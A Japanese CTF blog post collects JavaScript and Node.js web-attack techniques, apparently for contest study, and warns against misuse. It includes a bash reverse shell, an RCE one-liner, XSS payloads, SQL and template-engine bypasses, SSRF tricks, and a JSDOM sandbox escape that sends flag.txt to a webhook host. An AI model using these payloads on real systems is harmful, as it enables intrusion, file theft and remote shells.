はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるJavaScript,nodejsまとめ(Prototype pollution, 難読化)

この記事はCTFのWebセキュリティ Advent Calendar 2021の18日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

JavaScript / node.js

  • RCEワンライナー
    • console.log(process.mainModule.require('child_process').execSync('ls -la').toString());
    • 適当にコマンドインジェクションするとき
      • いろいろ&&コマンド;//いろいろみたいな感じにするといい。前半の色々はちゃんと実行できるように頑張ること
    • リバースシェル
      • require("child_process").exec("bash -i >& /dev/tcp/[IPAddress]/[Port] 0>&1");process.exit();
  • x = ~~x;としてあると、xに文字列は使えず、整数しか使えない
  • encodeURIはエスケープとして不適切
  • GET parameterは複数回指定することで上書き可能
    • なるほど。今回は最後に入力したものが採用されるみたいだけど、確か実装依存。前調べたときのメモには以下のように書いてあった
    • ?username=abc&username=efg
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • document.writeでHTMLを書き込むと直後に再レンダリングしてくれる
    • scriptタグがあれば実行もされる
  • 途中にコメントを差し込んでも実行される
    • alert(document/**/.domain);は実行される
    • alert(docum/**/ent.domain);のようにキーワードをぶった切る場合は動かない
  • String.prototype.includes()
    • 文字列のincludesは大文字小文字を区別する
    • 'Blue Whale'.includes('blue') // returns false
  • innerHTMLとtextContent
  • Spread operatorは他の引数をoverrideできる
    • database.addData({ type: 'paste', ...req.body, uid });となっている場合、bodyにtypeがあると値をoverrideできる
    • corCTF 2021 // Tom Plant
  • Cross-window communication
  • The clickjacking attack
    • 参考になる資料
  • function () { ... }を短縮する
    • アロー関数化する()=>{}
    • 引数はずれてても大丈夫なので、x=>{}みたいに適当に与えればいい
  • .toString()するよりも+''としてキャストさせると短い
    • +0でも文字列化できる(最低function時のときは)
  • 文字列を適当に変換する [...str]+''
    • str='abc'[...str]={'a','b','c'}[...str]+''='a,b,c'
  • arguments変数
    • (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()みたいに、無名関数で引数が与えられてなくてもarguments配列を使えば読める
  • 即時関数で複数指定すると後半が実行される
    • (function(){return"A";},function(){return"B";})()とするとBが帰る
  • bind関数
    • functionに対してbind関数を使うと、thisに値を代替できる
    • (function () { return String(this)[char_offset]}).bind(()=>{; /* ${FLAG} */ })()
      • thisに()=>{; /* ${FLAG} */ }が入る
  • URLのhashから実行コードをとってくる方法
    • eval(decodeURIComponent(location.hash.slice(1)))とかいて、URL末尾に#[base64-encoded jscode]をつける
  • GitHub - cure53/H5SC: HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors
  • XSSのWriteup集
  • iframeのsrcdoc
    • <iframe srcdoc="[html-tag]"></iframe>とすることでsrcdoc内部でHTMLのタグ、scriptタグが実行できる(XSSできる)
    • これを使うとoriginを変更して実行できる?(よくわかってない)
  • 改行 <CR>/<LF>/U+2028/U+2029
  • s = {"title":[userinput]}; title="title:"+s.title;の場合、[userinput]に{"toString":null}とやると、エラーを引き起こすことができる
  • window.locationまとめ 例 https://example.com/admin?x=huge&y=piyo#hogehoge
    • window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
      • 全部
    • window.location.protocol = "https:"
    • window.location.host = "example.com"
      • 注意点。https://example.com:26/のようにポートが80じゃないならexample.com:26となる。なお、https://example.com:80/ならexample.com
    • window.location.hostname = "example.com"
      • こっちはポートがあってもなくてもホスト名だけ
    • window.location.port = 80
    • window.location.search = "?x=fuga&y=piyo"
    • window.location.hash = "#hogehoge"
    • window.location.pathname = "/admin"
  • 弱い比較
    • ['admin'] == 'admin'がtrueであるが、['admin'] === 'admin'はfalse
  • nodejsでfsモジュールのreaddirを使えばls相当が可能
  • stringのreplaceは最初に見つけた1つ目しか変換されない
  • jsは配列もstringも同じような関数が使えるので、配列を与えてみるとうまくいったりする
    • includesとかindexOfとかsliceとか
    • 配列はstringに変換されると、['a','b','c']a,b,cのようにコンマ結合される
  • Hoisting
    • jsでは定義が実行より後ろであっても上手い事動くし、書き換えもできる
    • function f() { console.log('pre'); } f(); function f() { console.log('post'); }を実行するとpostと出てくる
    • これを利用して、コードの先頭でほぼ使われているrequireを上書きして、予期せぬタイミングで任意コードを実行するテクがある ここ
  • overrideされたスコープ外の要素を参照したい時
  • 関数をtoStringするとコメントも一緒に出力される
  • arguments.callee
    • use strict下では使えないが、色々な関数にまつわる情報が抜ける
  • JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g や /foo/y) はステートフルになります
    • RegExp.prototype.exec() - JavaScript | MDN
    • CakeCTF 2021 writeup - st98 の日記帳 - コピー
    • そのため、let filter = /(\'|\\|\s)/g;というフィルタでfor (let name of neko_name) { if (filter.exec(name.toString()) === null) {こういう使われ方をしていると、neko_nameに同じ文字列を与えたとき、その文字列に対して先頭からフィルターにヒットするものを順番に返していって、末尾まで来たらnullとなり、フィルターを抜け出してしまう
  • innerTextを使うと自動でサニタイズされる
  • Webpack
    • デバッグ時に利用するために、バンドル前のソースコードとバンドル後のソースコードの行の対応関係を保持している「ソースマップ」というファイルを出力することがあります。
      • 一般的にソースマップファイルはトランスパイル後のファイル名のあとに.mapを付与したファイル名になっています。
      • ここでは、main.jsのファイルのソースマップファイルがmain.js.mapに存在していることがアクセスをするとわかります。
  • パラメタを配列にしてうまくバイパスする
    • https://example.com/page?path[]=x&path[]=index.phpこんな感じにすると、パスがx,idnex.phpと認識されたりする。
      • nodejsでは、配列を文字列解釈したときにカンマ結合するためである。
    • このままだとうまく使えないので、結合時でもうまく動くように調整する
      • https://example.com/page?path[]=x&path[]=/../index.phpとすると、x,/../index.phpとなって、元のリクエストと同じになる。
  • AST Injection

プロトタイプ汚染攻撃 Prototype pollution attack

ライブラリとかフレームワークとか

  • node-mysql-native
    • JSのMySQLライブラリ
    • connection.query('SELECT * FROM users WHERE id = ?', [id]のidに何が入ってるとどうなるか
    • 攻撃例
      • const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {となってる
      • これでusername=michelle&password[password]=1とすると、SELECT * FROM users WHERE username='michelle' AND password=`password`='1'となる
      • password=`password`='1'これが恒真らしい、なぜだ…
  • dotenv
  • Angular
    • URLで\をスラッシュとして使用可能。パーセントエンコーディングはデコードされる。
    • SSRF
      • Angularでthis.http.get('/api/answer')のようにリクエストを飛ばしている箇所があれば、PROTOCOL + HOST + / PATHでアクセスする
      • なので、HostにCNAMEで127.0.0.1/api/true-answerを指すようにしたドメインを指定すれば、https://127.0.0.1/api/true-answer/api/answerのようにSSRFできる
      • 適当なサイトに誘導してリダイレクトで127.0.0.1/api/true-answerへ飛ばせば、SSRFを達成できる。
    • TokyoWesterns CTF 2020 | writeups by @terjanq
      • AngularのSecondary segments - Angular Routerという機能を使ってバイパスする
      • これを使うだけ http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).
      • primaryを使うのみがミソっぽい
    • ペイロード
  • Inspector
  • v8ライブラリ
    • ヒープが抜き出せる
    • const v8 = require('v8'); const memory = v8.getHeapSnapshot().read(); console.log(memory.toString());
    • これだけ。この問題では量が多いので、sliceで抜き出して答えている
  • Lodash
    • 4.17.4にはプロトタイプ汚染の脆弱性がある
  • hbs
    • テンプレートエンジンであるhandlebars.jsをexpressから使えるようにしたもの
    • The Secret Parameter, LFR, and Potential RCE in NodeJS Apps
      • LFR (:Local File Read)ができる
      • router.post('/', function(req, res, next) { res.render('index', req.body.profile) });みたいに呼び出すときに
      • curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://[attackhost]/'とすると、./../routes/index.jsを出力してくれる
      • 修正: res.render('index', { profile })のように直下におかないようにするのがいいみたい
    • 4.0.3以下ならHandlebars.jsでRCE脆弱性がある Handlebars template injection and RCE in a Shopify app
  • jpv
  • querystring
    • expressのPOSTでbodyからquerystringを受け取ってconst { p } = querystring.parse(body)みたいにパースしているとき
      • curl http://34.84.5.211/ -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
      • こんな感じにNを使うことで.を表現できる
  • axios
    • axios 0.21.0
      • SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
        • 参照先からリダイレクトさせるとプロキシを通さない(アクセス制限しててもbypass可能)
        • 単純に以下のようにして、ここにアクセスさせるとhttp://127.0.0.1/adminにリダイレクトするが、これはproxyを通さず表示可能 js const http = require('http') http.createServer(function (req, res) { res.writeHead(302, {location: 'http://127.0.0.1/admin'}) res.end() }).listen(5566)
  • Mermaid
  • JSDOM
    • DOMをjsで作るもの(よくわかってない)
    • ここで作成されたDOMでonclickとかが呼ばれた場合はサーバ側のDOMとして動作するので、サーバ側でRCEができる感じになる
    • ただ、サンドボックス上で評価されるので工夫が必要であるが、vmモジュールを使ったサンドボックスなので、既知の脱獄手順を使ってホスト上でRCEしよう
    • corCTF2021の課題•ブライスのブログ
      • <button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
  • DOMPurify: JS向けサニタイズライブラリの定番。結構強いから、基本的には抜けない。
  • Express
    • app.use(bodyParser.urlencoded({ extended: true }))
      • これがあるとGETパラメターに配列、連想配列を指定することができる
      • x[]=a&x[]=bだとx=['a','b']
      • x[a]=1&x[b]=2だとx=[a: '1',b: '2']
    • ルーティングの文字は大文字小文字区別しないのでrouter.get('/flag', (req, res) => {とあったら/FLAGでもアクセス可能
    • リクエストがどうなったら終わるか
      • return res.status(400).send('deploymentId required!').end();のようにendがついてたら終わる
      • return res.status(402).set('X-Billing-Account', account);のようにendが無くて、nextがあれば、nextへ遷移する(!!)
  • React

jQuery

  • danger
    • userinputがそのまま出力されるケース
      • $("#element").html([input]);
      • $("#element").append([input]);
    • v1.6.2以前
      • $(location.hash)として#<img>を与えるとimgタグが作られる
  • safe
    • $btnFacebook = $('<div />', {"data-href" : "[input]"})のように辞書形式でpropertyを指定すればhtml化されてもうまいことエスケープされる
    • $("#X").text([input]);
  • jQueryのgetJSONはcallback=?がURLに含まれる場合にはJSONPとして解釈する
    • this.contest = await $.getJSON(`/${location.hash.slice(1)}.json`)みたいになっていたら#/example.com/aで外部の//example/a.jsonを見に行ってくれる
    • この場合に/example.com/a.js?callback=?&とすればjsを実行してくれる

TypeScript

JavaScript難読化

  • Javascript Obfuscator
    • javascript-obfuscator/javascript-obfuscator: A powerful obfuscator for JavaScript and Node.js
    • よく見るし、業界標準?(業界人でないので分からないが、資料はたくさん出てくる)
    • リソースを出力する謎関数を作成する。
      • 手作業で分解するのはだいぶつらいので、Chromeデベロッパーツールでブレークして、使われている_0x2384('0x3')みたいなやつの中身を見ていくのがオススメ。
    • 0x3936 のような特徴的な識別子、debugger 文による解析妨害、0x487fdb(0xd9, 'og)h') のようによくわからない関数を呼び出して文字列等を取り出しているといった特徴がある。
  • JSFuck
  • うーにゃー
  • 難読化解除テク(と言ってもほぼ根性)
  • Chromeのローカルオーバーライド
    • これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
      1. やりたいサイトでデベロッパーツールを開く
      2. SourceパネルのOverridesタブを開く、適当なフォルダを指定する(どこでもいい)
      3. Pageタブを開き、修正をローカルで永続化しておきたいファイルを右クリックして、Save for overridesを選択する
      4. これでオーバーライドできたので、適当に修正して、実行する
    • javascriptであれば、オーバーライド後に、Networkパネルから目的のjsファイルを選択して、Previewタブを開くと、ちょっときれいになったjsが得られるので、それを持ってきて、オーバーライドしたところで上書きするとちょっと幸せになる。console.log(見たい変数);でバンバン入れて、中身を見ていこう。
  • 何を探すか
    • jsだと暗号化とかも自前でやってるから、encryptとかdecryptとかのキーワードで探してみると何か出てくるかも
    • どこかで外部からデータを持ってきているなら、SQLiができるかもしれない
      • httpとかで検索したら良い感じのURL出てくるかも
  • 参考
  • debugger文を使った解析妨害コード
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • Chrome Developer Toolsがsource codeをbeautifyする前に(もしくは、している間に)ブレークさせる
      1. Chrome Developer Toolsを開く(解析妨害コードでブレークする)
      2. ブレークしている状態で本当にブレークさせたい所にブレークポイントを置く
      3. 一旦閉じる
      4. Chrome Defveloper Toolsを開くと同時に、ブレークさせたい所が発動するようなアクションをする(例えばボタンを押す)
      5. すると、解析妨害コードよりも先に手順4のアクションが優先され、ブレークさせたい所でブレークさせることができる